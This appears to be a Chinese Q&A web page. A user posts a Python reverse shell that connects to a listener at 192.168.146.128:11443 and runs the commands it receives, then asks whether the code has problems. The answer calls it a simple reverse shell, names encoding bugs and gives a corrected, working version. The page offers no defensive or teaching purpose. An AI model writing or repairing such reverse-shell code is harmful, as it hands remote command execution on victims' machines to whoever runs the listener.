import socket, subprocess # 设置服务器IP与端口 HOST = "192.168.146.128" PORT = 11443 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.send('[*]建立了连接') while 1: # 接收命令,从服务器接收命令,读取1024字节数据并保存 data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() s.send(stdout_value) s.close()检查代码是否有问题
时间: 2024-03-05 21:52:10 浏览: 137
对Python subprocess.Popen子进程管道阻塞详解
这段代码实现了一个基于socket的简单反向Shell,但是有一些问题需要注意:
1. 在发送数据时应该使用字节串类型,可以通过在字符串前面加 b 来实现,如 b'[*]建立了连接'
2. 在接收数据时,需要将接收到的字节串解码为字符串,可以使用 decode() 方法,如 data = s.recv(1024).decode()
3. 在 Popen() 方法中执行命令时,应该避免使用 shell=True,因为这样会将命令解释器交给 shell 来处理,存在安全问题,应该将命令拆分成参数列表,如使用 subprocess.Popen(['ls', '-l'], stdout=subprocess.PIPE)
4. 在发送数据时,应该先将要发送的数据转换为字节串类型,如 stdout_value.encode(),然后再发送
修改后的代码如下:
```python
import socket, subprocess
# 设置服务器IP与端口
HOST = "192.168.146.128"
PORT = 11443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(b'[*]建立了连接')
while True:
# 接收命令
data = s.recv(1024).decode()
if data == "quit":
break
proc = subprocess.Popen(data.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
s.close()
```
阅读全文